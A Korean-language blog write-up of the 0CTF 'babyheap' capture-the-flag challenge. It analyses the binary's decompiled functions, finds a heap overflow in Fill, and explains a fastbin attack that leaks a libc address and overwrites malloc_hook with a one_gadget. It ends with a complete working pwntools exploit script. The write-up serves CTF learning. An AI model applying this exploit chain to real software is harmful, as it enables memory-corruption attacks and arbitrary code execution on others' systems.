블로그 이전했습니다. https://jeongzero.oopy.io/
[0ctf] babyheap
본문 바로가기
워게임/CTF 문제들

[0ctf] babyheap

728x90

1. 문제


1) mitigation 확인 

다 걸려있다... 

 

 

 

2) 문제 확인 

메뉴가 출력된다. 1번 메뉴로 할당할 공간을 생성할수 있고 2번메뉴로 해당 영역에 데이터를 채울수 있다. 3번은 Free, 4번은 입력한 데이터를 확인하는 메뉴이다 

 

 

 

3) 코드흐름 파악 

  1. main () 함수
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      char *v4; // [rsp+8h] [rbp-8h]
    
      v4 = sub_B70();
      while ( 1 )
      {
        sub_CF4();
        switch ( sub_138C() )
        {
          case 1LL:
            sub_D48((__int64)v4);                   // Allocate
            break;
          case 2LL:
            sub_E7F((__int64)v4);                   // Fill
            break;
          case 3LL:
            sub_F50(v4);                            // Free
            break;
          case 4LL:
            sub_1051((__int64)v4);                  // Dump->show라고 보면됨
            break;
          case 5LL:
            return 0LL;
          default:
            continue;
        }
      }
    }
    • 처음에 sub_B70()가 호출된다. 간단히 설명하자면, 해당 바이너리는 생성되는 청크주소를 mmap으로 할당받은 영역에서 관리한다.
    • v4는 그 할당받은 mmap 주소를 인자로하여 각 함수들이 호출된다
    • Allocate 함수부터 살펴보자

     

  1. Allocate() 함수
    void __fastcall sub_D48(__int64 a1)
    {
      int i; // [rsp+10h] [rbp-10h]
      int v2; // [rsp+14h] [rbp-Ch]
      void *v3; // [rsp+18h] [rbp-8h]
    
      for ( i = 0; i <= 15; ++i )
      {
        if ( !*(_DWORD *)(24LL * i + a1) )
        {
          printf("Size: ");
          v2 = sub_138C();
          if ( v2 > 0 )
          {
            if ( v2 > 4096 )
              v2 = 4096;
            v3 = calloc(v2, 1uLL);
            if ( !v3 )
              exit(-1);
            *(_DWORD *)(24LL * i + a1) = 1;
            *(_QWORD *)(a1 + 24LL * i + 8) = v2;
            *(_QWORD *)(a1 + 24LL * i + 16) = v3;
            printf("Allocate Index %d\n", (unsigned int)i);
          }
          return;
        }
      }
    }
    • 할당할 사이즈를 입력하고, 해당 영역만큼 calloc을 통해 할당받는다
    • 그다음 아까 mmap으로 할당받은 영역에 총 3개의 데이터를 넣는다
    • 1, 입력한 사이즈, 할당받은 청크 mem주소 이렇게 들어간다

     

  1. Fill() 함수
    __int64 __fastcall sub_E7F(__int64 a1)
    {
      __int64 result; // rax
      int v2; // [rsp+18h] [rbp-8h]
      int v3; // [rsp+1Ch] [rbp-4h]
    
      printf("Index: ");
      result = sub_138C();
      v2 = result;
      if ( (int)result >= 0 && (int)result <= 15 )
      {
        result = *(unsigned int *)(24LL * (int)result + a1);
        if ( (_DWORD)result == 1 )
        {
          printf("Size: ");
          result = sub_138C();
          v3 = result;
          if ( (int)result > 0 )
          {
            printf("Content: ");
            result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
          }
        }
      }
      return result;
    }
    • 입력할 인덱스를 입력받는다. 0 ~15 인덱스만 입력 가능하다
    • 그리고 mmap 영역에서 해당 인덱스에 해당하는 공간을 확인하는데 해당 주소에 1이 들어있는지 확인을 한다
    • 1이 들어있으면, 사이즈를 입력받는다. 여기서 heap overflow가 터진다. 처음에 Allocate 함수로 할당받은 사이즈보다 큰 사이즈를 입력한다면, 다음 청크를 덮을수 있다

     

  1. Free() 함수
    
    __int64 __fastcall sub_F50(__int64 a1)
    {
      __int64 result; // rax
      int v2; // [rsp+1Ch] [rbp-4h]
    
      printf("Index: ");
      result = sub_138C();
      v2 = result;
      if ( (int)result >= 0 && (int)result <= 15 )
      {
        result = *(unsigned int *)(24LL * (int)result + a1);
        if ( (_DWORD)result == 1 )
        {
          *(_DWORD *)(24LL * v2 + a1) = 0;
          *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
          free(*(void **)(24LL * v2 + a1 + 16));
          result = 24LL * v2 + a1;
          *(_QWORD *)(result + 16) = 0LL;
        }
      }
      return result;
    }
    • Free한 인덱스를 선택하고, 해당 인덱스에 해당하는 mmap 영역주소를 확인한다
    • 해당 영역에서 1이 존재하면, +0x10에 위치해있는 청크를 free 시키고, 해당 mmap 영역을 다 0으로 초기화 시킨다. (+0, +8, +0x10 3개 1,사이즈,청크주소가 들어있는 전부)

     

  1. Dump() 함수
    int __fastcall sub_1051(__int64 a1)
    {
      int result; // eax
      int v2; // [rsp+1Ch] [rbp-4h]
    
      printf("Index: ");
      result = sub_138C();
      v2 = result;
      if ( result >= 0 && result <= 15 )
      {
        result = *(_DWORD *)(24LL * result + a1);
        if ( result == 1 )
        {
          puts("Content: ");
          sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
          result = puts(byte_14F1);
        }
      }
      return result;
    }
    • mmap 영역에 들어있는 Allocate 함수 호출시 입력했던 사이즈만큼 청크 mem에 들어있는 데이터를 전부 출력해준다.

     

     

     

     

2. 접근방법


현재 취약점은 heap overflow가 가능하다는 것이다. 이걸 통해서 할수 있는것이 무엇이 있을지 생각해보자. 

 

우선 libc 주소 leak을 해야한다. fastbin 사이즈 이상의 청크를 할당 및 해제를 하면 fd영역에 main+arena+88 주소가 들어가기 떄문에 이를 이용할 수 있다. 하지만 Free를 하게 된다면, Dump함수 호출시 mmap 영역에 있는 입력한 인덱스에 해당하는 청크 주소를 가져와서 출력을 해주는데, 

 

Free를 하게 되면, 해당 mmap 영역은 0으로 초기화 되고, 해당 영역을 재할당 받아도, calloc은 초기화를 진행하기 때문에 Dump를 호출하여 해당 영역의 fd값을 출력할 수 없다. 이부분을 우회해야한다. 어떻게 할수 있을까.. 

 

ㅋㅋㅋㅋㅋㅋ

ㅅㅂ

 

 

그림으로 함 봐보자. 

요렇게 5개 Allocate 호출했다고 해보자. 이상태에서 C, B 순으로 Free 시키면 두개는 fastbin에 들어갈 것이다. 

 

이 상태에서 인덱스 0번 즉 A청크의 데이터 입력을 통해 B청크의 FD를 덮을수 있다. FD값을 C청크가 아닌, D청크를 가리키게 하고, Allocate(0x20) 을 두번 호출하면, 처음에 B청크를 재할당해줄것이고, 그다음은 C청크가 아닌, 우리가 변경했던, D청크를 재할당 받을 것이다 

 

참고로 그냥 fd만 변경하고 재할당받으면 에러가 나기 때문에 fastbin size 체크를 우회해야 한다. 재할당시 해당 청크가 fastbin chunk 사이즈인지 확인하는 로직이 있기때문에 아까 오버플로우시킬때 D청크의 size 부분도 0x31 해줘야하 한다. 

 

위 상황이 Fill() 로 인덱스 0번 입력을 통해 원하는 부분을 적절히 덮은 상황이다. 이상태에서 Allocate(0x20) 2번을 해보자 

 

비여있는 인덱스 1,2 공간에 F, G 청크를 할당받았는데 F는 원래 B청크를 재할당 받은 것이고, G는 D 청크를 재할당 받은 것이다. 끝났다ㅋ mmap 영역에 현재 0x4444 주소가 두번 할당된 것처럼 되어있다. 인덱스 2,3이 동일한 주소, 다른 사이즈로 할당되어있다. 

 

이제 한번더 인덱스 0 청크 Fill() 함수를 호출하여 D청크의 size를 원래대로 0x91로 바꾸고 D청크를 Free 시키면, ?? 

 

D청크를 free 시켰기 떄문에 fd에 main_arena+88값이 들어갔다. 하지만 G청크도 사실 동일한 주소를 가리키고 있기때문에, D를 Dump() 호출로 확인해보면, fd값을 leak할 수 있다. 

 

그 다음은 쉽다. free_hook이나 calloc_hook을 one_gadget으로 덮으면 끝이다. 잉? calloc_hook이 없네

ㅅㅂ

 

그냥 malloc_hook을 덮어서 되나 보자. malloc_hook -35 인가 부분이 사이즈에 0x7f이 들어있는걸 수없이 봐왔으니 이걸 이용하면 된다. 

 

아까와 동일한 방법으로 0x65 정도 사이즈 청크 여러개 Allocate해주고, overflow를 이용해서 fd를 malloc_hook-35에 맞춘다음에, 해당 영역을 재할당 받게 하자.  

 

그다음 마지막으로, 해당 영역의 Fill을 통해 one_gadet을 malloc_hook에 넣으면 끝이다 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(os="linux",log_level="DEBUG")


p=process("./babyheap2",aslr="False")
#gdb.attach(p,'code\nb *0xDC9+$code\n')
#gdb.attach(p,aslr="False")
def Allocate(size):
  p.sendlineafter("Command: ","1")
  p.sendlineafter("Size: ",str(size))

def Fill(index,size,content):
  p.sendlineafter("Command: ","2")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("Size: ",str(size))
  p.sendafter("Content: ",content)

def Free(index):
        p.sendlineafter("Command: ","3")
  p.sendlineafter("Index: ",str(index))

def Dump(index):
        p.sendlineafter("Command: ","4")
  p.sendlineafter("Index: ",str(index))

Allocate(20)  # 0
Allocate(20)  # 1
Allocate(20)  # 2
Allocate(20)  # 3
Allocate(128) # 4
Allocate(128) # 5
#Fill(1,15,"A"*15)
#Fill(2,15,"B"*15)
#pause()
Free(2)
Free(1)
#pause()
Fill(0,0x21,p64(0)*3+p64(0x21)+p8(0x80))
Fill(3,0x19,p64(0)*3+p8(0x21))
Allocate(20)
Allocate(20)
Fill(3,0x19,p64(0)*3+p8(0x91))
Free(4)
Dump(2)
p.recvuntil("Content: \n")
main_arena=u64(p.recv(6)+"\x00\x00")
libc_base=main_arena-0x3c4b78
malloc_hook=libc_base+0x3c4b10
one=[0x45216,0x4526a,0xf02a4,0xf1147]
one_shot=libc_base+one[1]
log.info(hex(main_arena))

pause()
Allocate(0x65) # 4
Allocate(0x65) # 6

Free(6)
Free(4)
Fill(3,0x28,p64(0)*3+p64(0x71)+p64(malloc_hook-35))
pause()
Allocate(0x65)
Allocate(0x65)
pause()
payload="A"*19+p64(one_shot)
Fill(6,len(payload),payload)
Allocate(0x65)
p.interactive()

 

 

 

 

4. 몰랐던 개념


주어진 취약점은 heap overflow. 특별한 기법이라기보단, 구조를 잘 이용해서 leak을 하는 것이 관건인 문제였다. 사실 leak하다가 실패해서 롸업을 봤는데, 왜 이런 생각을 못했을까 라는 후회가 든다. 쫌더 고민하고, 분석능력을 길러야 겠다. 

 

728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[Codegate 2019] god-the-reum  (0) 2020.09.22
[사이버 작전 경연대회] Vaccine Simulator  (2) 2020.09.21
[downunderCTF] vecc  (0) 2020.09.21
[Definit CTF ] Warmup  (0) 2020.06.09
[hitcon 2016] house of orange  (0) 2020.04.30